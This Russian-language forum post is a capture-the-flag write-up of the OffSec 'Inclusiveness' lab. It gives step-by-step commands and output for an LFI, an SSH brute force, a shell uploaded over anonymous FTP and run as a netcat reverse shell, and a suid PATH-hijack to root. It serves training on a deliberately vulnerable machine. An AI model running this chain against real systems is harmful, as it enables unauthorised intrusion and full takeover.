Заметка CTF Inclusiveness - Offensive Security

Qulan

Red Team
06.12.2020
180
526
Приветствую!
Стоило мне в предыдущем своем посте написать от том, что мне не попадаются коробки о которых хотелось бы написать, как сразу же мне встречается сказочный зверек в лице Inclusiveness от OffSec. Эта машина сразу же начала давать отпор и я постоянно сталкивался с вещами которые мне не знакомы, а соответствено было чему учиться.

Начнем
Name: Inclusiveness
OffSec level: Easy
Author level: intermediate

Recon/Enum:
Сканирую хост на доступные порты, ОС nmap -A -p- 192.168.1.8 -vv
Код:
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Feb 08  2020 pub [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.49.134
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 06:1b:a3:92:83:a5:7a:15:bd:40:6e:0c:8d:98:27:7b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Yl88LxuiPiXQGaZ6fB6K88oCmL/yXhY4Y3j/9PjnFHPRCqM18y4Ol7Q9LMr5CN042Zs/WMt05YE99R5j98fPGD0hIqxKpRpW8ZeDsfZdG479t3dSkM0OAL+hY4V4Wwbk768DxnLUw0ujGuh38UDl3gyYVBFpFZgRb7zBuYRzjIdWijpXm23sbXti4TO6KTC4KVm1BTzT4CVFxBakuuvk1Ieraeusc9agTfCVx7dkN2OX79jAc1uzZNE+BtokFGIYMvMAA7ejZT504cp1Bccbn+OUwlcRLFJbOO2jrXPj8j4MKEz6klMO7mIMvaHFRQ1Z5kBtH7QIGG97D5qhkD8X
|   256 cb:38:83:26:1a:9f:d3:5d:d3:fe:9b:a1:d3:bc:ab:2c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGNCidfAh8l1B4elJK42/1YqrUEBlGWDjg7ZWacpptAfCGBbSC+agR4LWiEtsnQYX4aWXRGydjc7UggCgpHbDr0=
|   256 65:54:fc:2d:12:ac:e1:84:78:3e:00:23:fb:e4:c9:ee (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJEkCe1XYRTFeHyzWuvZ3JkIkWwD4pGHBcTGEGYYcJhv
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Выделяю для себя то что представляет интерес:
Код:
21 FTP anonymous
80 http apache 2.4.38 OS Debian
Первым делом топаю на 21 порт, так как это быстро:
ftp 192.168.1.8
Код:
Connected to 192.168.1.8.
220 (vsFTPd 3.0.3)
Name (192.168.1.8:qulan): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 0        0            4096 Feb 08  2020 pub
226 Directory send OK.
ftp>
Вижу директорию pub и иду туда:
Код:
cd pub
и она пустая (((

Ок, двигаемся к HTTP. Перейдя на сайт вижу страницу приветствия Apache2

1618133122800.png


Ставлю gobuster для поиска скрытых дерикторий:
Код:
gobuster dir -u http://192.168.1.8/ -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 30 -e
Пока gobuster трудится, вспоминаю первый раздел методологии OWASP "Сбор информации".

Веб сервер определен, проверяем robots.txt для определения дерикторий закрытых для индексации.
В браузере:
Код:
http://192.168.1.8/robots.txt
И вижу вот такой месседж

1618133588300.png


Тут мне вежлево (иди в жоп...) говорят что я не поисковый движок и поэтому не могу просмотреть содержимое файла((( Ну добро, включаю логику!

Если на стороне хоста стоит некий фильтр, то как он работает? Мне говорят что я не поисковый робот, а как фильтр это узнает? Все просто, смотрим строение файла robots.txt в гугле:

1618133829800.png


И так, нас фильтруют по User-Agent, соответственно нужно подменить его и обратиться от лица поискового робота. Я сделаю это с помощью CURL:
Код:
curl http://192.168.1.8/robots.txt --user-agent Googlebot
User-agent: *
Disallow: /secret_information/
И нам возвращают содержимое файла robots.txt в котором стоит запрет на индексацию /secret_information/
К этому времени gobuster сделал свое дело и не дал результата. Значит идем в

1618134206500.png


Тут мне рассказывают о некоемом методе атаки, беру себе на карандаш чтоб перед сном почитать))) Вижу две ссылки для смены языка, кликаю каждую.

В обоих случаях в адресной строке мне возвращают строчку вида:
Код:
http://192.168.1.8/secret_information/?lang=es.php
?lang=es.php - обращение на запуск файла php. Первая мысль в голове: - LFI?
Пробую прочитать /etc/passwd. В два раза нахожу корень и ...

1618134544600.png


Таки да, LFI! Нахожу нейм пользователя tom

Так как я имею логин, я могу попробовать сбрутить пароль в надежде на то, что он слабый. Ставлю hydra на ssh:
Код:
  hydra -t 8 -l tom -P /usr/share/wordlists/rockyou.txt -vV 192.168.1.8 ssh
Пока Hydra работает, смортю что еще я могу сделать с LFI. Попробовать прочитать /etc/shadow! Но это не дало результата((( Я мог бы прочитать id_rsa в домашнем каталоге юзера tom:

1618134911100.png


Но нет(((( И на этой ноте, я начал гуглить и читать все что находил по LFI. Через 40 минут проснулся мелкий и я понял, что на сегодня все... Но оставил hydra работать. Через 2 часа упорного brutforce, я понял что сбрутить видимо не удастся и закрыл комп.((( В течении дня, я копаясь в телефоне находил разные моменты по LFI и все сохранял, чтоб на следующий день пройтись по этим материалам.

День 2-й
Как только я дождался когда ребенок уснет, сразу бросился запускать коробку и пробовать все то, что читал и сохранял. У меня было четкое понимание, что мне нужно что-то с делать с этой уязвимостью, но все материалы собраные мной не давали результата((( Через 2 часа, понимая что ребеного вот-вот встанет, я принял решение которое не люблю принемать, взять подсказку! Реально я исчерпал свои знания в рамках того материала который был мной пройден и усвоен. Решено, иду смотреть подсказку!

Exploiting LFI

В первом же райтапе нахожу вот это:

1618163823500.jpeg


Вот что я должен был сделать с этой уязвимостью. Закрываю райтап и двигаюсь читать конфиг ftp сервиса. Таки да, в конфиге прописана возможность заливать файлы на ftp от лица anonymous. Топаю к себе и настраиваю реверс шелл!

Код:
ftp 192.168.1.9
cd pub
put shell.php
Код:
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.02 secs (356.5002 kB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-rw-    1 118      125          5493 Apr 12 04:08 shell.php
226 Directory send OK.
Супер, шелл залит! Настраиваем листенера nc -lvnp 1234 и через браузер обращаемся к файлу:
Код:
http://192.168.1.9/secret_information/?lang=/var/ftp/pub/shell.php
Оболочка получена))
Код:
nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.1.9 33322
Linux inclusiveness 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
04:15:12 up 12 min,  0 users,  load average: 0.00, 0.02, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Наверное у кого-то появилась мысль: - А почему http://192.168.1.9/secret_information/?lang=/var/ftp/pub/shell.php? Мы же не используем тут LFI!

Отвечаю:
LFI дает возможность обратиться к файлу с целью его чтения, а не исполнения! В данном случаем мы знали, что http://192.168.1.9/secret_information/?lang= ведет к обращению с целью исполнения, так как тут мы обращались к файлам php с языками. Только теперь мы сменили файл с языком на файл с шеллом и прописали полный путь, который прочитали в конфиге.

Privelage Escalation

Первым делом нам требуется получить стабильную -интерактивную оболочку. Это делается в 3 шага:

  1. python3 -c 'import pty;pty.spawn("/bin/bash")' - На этом этапе наша оболочка будет выглядеть немного красивее, но мы по прежнему не сможем использовать автозаполнение вкладок или клавиши со стрелками, а Ctrl + C все равно убьет оболочку.
  2. export TERM=xterm - это даст нам доступ к командам term, таким как clear
  3. В нашем собственном терминале мы используем stty raw -echo; fg - Это делает две вещи: во-первых, он отключает наше собственное эхо терминала (что дает нам доступ к автозаполнению вкладок, клавишам со стрелками и Ctrl + C для уничтожения процессов). Затем он переводит оболочку на передний план, завершая процесс.
И вуаля у нас стабильная (более -менее) оболочка)))

Первым делом бросаюсь в каталог пользователя tom:
Код:
www-data@inclusiveness:/$ cd /home/tom && ls -la
Код:
total 100
drwxr-xr-x 15 tom  tom   4096 Feb  8  2020 .
drwxr-xr-x  3 root root  4096 Feb  8  2020 ..
-rw-------  1 tom  tom    684 Feb  8  2020 .ICEauthority
-rw-r--r--  1 tom  tom    220 Feb  8  2020 .bash_logout
-rw-r--r--  1 tom  tom   3526 Feb  8  2020 .bashrc
drwx------ 10 tom  tom   4096 Feb  8  2020 .cache
drwx------ 10 tom  tom   4096 Feb  8  2020 .config
drwx------  3 tom  tom   4096 Feb  8  2020 .gnupg
drwx------  3 tom  tom   4096 Feb  8  2020 .local
-rw-r--r--  1 tom  tom    807 Feb  8  2020 .profile
drwx------  2 tom  tom   4096 Feb  8  2020 .ssh
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Desktop
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Documents
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Downloads
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Music
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Pictures
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Public
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Templates
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Videos
-rwsr-xr-x  1 root root 16976 Feb  8  2020 rootshell
-rw-r--r--  1 tom  tom    448 Feb  8  2020 rootshell.c
Опля... А тут сразу задача)) Авторы не заморачивались, теперь понятно с чем работать:
Код:
-rwsr-xr-x  1 root root 16976 Feb  8  2020 rootshell
-rw-r--r--  1 tom  tom    448 Feb  8  2020 rootshell.c
Видим suid файл rootshell и его исходник. Сразу читаю исходник чтоб понять что делает сам файл:
www-data@inclusiveness:/home/tom$ cat rootshell.c
Код:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main() {

    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");

    char user[80];
    fgets(user, 80, f);

    printf("you are: %s\n", user);
    //printf("your euid is: %i\n", geteuid());

    if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
    setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
}
Я не знаю языка С, но имею навыки работы с python. Начинаю копать документацию чтоб разобраться в том, как работает программа.

1618166597500.png


FILE* f = popen("whoami", "r"); - Все понятно, мы открываем так называемую трубу (я не знаю что это значит) и выполняем системную команду whoami и помещаем в переменую f

char user[80]; - задаем переменую user
fgets(user, 80, f); - помещаем в переменую user символы из f

1618166824900.png

Код:
if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
    setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
strncmp - Функция побайтно сравнивает коды символов двух строк, на которые указывают аргументы функции. В нашем случае, мы сравниваем первые 3 символа в user c tom и если они True то устанавливаем uid:

1618167273100.png


То есть root и вызываем оболочку. Еще раз вернемся к полному коду:
Код:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main() {

    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");

    char user[80];
    fgets(user, 80, f);

    printf("you are: %s\n", user);
    //printf("your euid is: %i\n", geteuid());

    if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
    setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
}
Логика:
При запуске rootshell, происходит вызов сисной команды whoami, которая возвращает имя текущего пользователя. Это имя сравнивается с tom и если они равны, то нам дают оболочку от root!

Пробую запустить rootshell:

1618167542200.png


И тут не поспоришь, я не TOM)))

Скажу что я решил что мне нужно подняться на уровень пользователя tom. Я потратил на это 1.5 часа, перебрав все варианты которые знал, но нечего не вышло. Мелкий проснулся, а значит пора заканчивать!

День 3-й
Ночью не мог уснуть((( В голове происходил поиск решений этой задачи. Я понимал что вариантов подняться до tom у меня нет (или я о них не знаю). Закрывая глаза, передомной появлялся код программы (это жесть просто 2 часа ночи).
Код:
int main() {

    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");
Ага, мы же обращаемся к whoami не использую полный путь, а что если подменить системную команду на свою? Идея.. Спать!

Утром порешав все дела и уложив мелкого, двинулся в сторону компа тестировать свою ночную догадку...
Так, а если создать псевдо-whoami и вернуть через нее оболочку root? Мы же от рута работаем! (Думал я)
Код:
www-data@inclusiveness:/home/tom$ echo '/bin/sh' > /tmp/whoami
www-data@inclusiveness:/home/tom$ chmod +x /tmp/whoami
Создал свой whoami. Теперь требуется подставить дерикторию /tmp в окружение, чтоб оболочка обратилась имено к псевдо -whoami.
Код:
www-data@inclusiveness:/home/tom$ export PATH=/tmp:$PATH
www-data@inclusiveness:/home/tom$ $PATH
bash: /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: No such file or directory
Ок, пришло время триумфа)))

1618216465300.png


Не работает((( Почему? Да потому, что rootshell это программа, а не bash скрипт. И в отличии от bash скрипта, даже если файл и выполняет какие-то действия от рута (он же suid root), он не обращается к оболочке как root))) Блин, а чего делать?

Рассуждаем... Если идет вызов whoami через оболочку текущего пользователя и далее следует проверка на tom, то каким-то образом наш псевдо -whoami должен вернуть имя пользователя tom. Сделал кофе, притромбовал трубку и закурил... Ок, думаю я, стандартная команда whoami возвращает имя пользователя, но у нас же есть еще и команда id, которая возвращает имя, группы и id.

Выпив кофе, сел смотреть man id
Код:
-u, --user
              print only the effective user ID
Ага, через id -u name, мы можем вернуть ID указаного юзера. Пробуем..

1618217055200.png


Так-так, мы можем вывести id любого пользователя системы! А можем ли вывести его имя?
Код:
-n, --name
              print a name instead of a number, for -ugG
Пробую:
Код:
www-data@inclusiveness:/home/tom$ id -n 1000
id: cannot print only names or real IDs in default format
Ругается, а так id -un 1000

1618217998500.png


Та-та-та-тааа!!!! Бинго!!! Переделываю свой whoami и запускаю rootshell
Код:
www-data@inclusiveness:/home/tom$ ./rootshell
checking if you are tom...
you are: tom

access granted.
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
#
Мы есть ROOT

Итог:
В целом эта коробка заставила меня пострадать и от этого я получил реальный КАЙФФФФ!!! Да, мне пришлось взять подсказку, но мне за нее не стыдно! Угрызений совести или самобичевания нет. Я понимаю, что я бы не решил задачу сам, так как моих знаний было не достаточно. Но теперь я знаю, что нужно составить список конфигов разных сервисов и служб, чтоб в дальнейшем его использовать.

С Уважением!
 
Последнее редактирование:
Отличная статья Qulan, хорошо описал ход мыслей!
Если сделаеш "нужно составить список конфигов разных сервисов и служб" поделись пожалуста.
 
  • Нравится
Реакции: nks1ck
Если больше часа не могу решить - иду за подсказками. Не знаю как это побороть....
 
Отличная статья Qulan, хорошо описал ход мыслей!
Если сделаеш "нужно составить список конфигов разных сервисов и служб" поделись пожалуста.
Спасибо. Обязательно поделюсь )

Если больше часа не могу решить - иду за подсказками. Не знаю как это побороть....
Ох как я понимаю))) но если разок пройдешь сам выстрадав, получаешь такой кайф в виде эмоций, что потом будешь их решать только ради этого кайфа))) мне даже хочется чтоб попадались машины от которых голова болит. Но потом .... Вообщем попробуй один раз не поддаться и решить самостоятельно
 
  • Нравится
Реакции: nks1ck
Ох как я понимаю))) но если разок пройдешь сам выстрадав, получаешь такой кайф в виде эмоций, что потом будешь их решать только ради этого кайфа))) мне даже хочется чтоб попадались машины от которых голова болит. Но потом .... Вообщем попробуй один раз не поддаться и решить самостоятельно
Даа, вот на выходных решал таску ~2.5 часа по форензике. Когда решил таску без подсказок, то такой кайф получил.... Желание посмотреть подсказку возникает от не знания куда копать.
 
  • Нравится
Реакции: Qulan
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!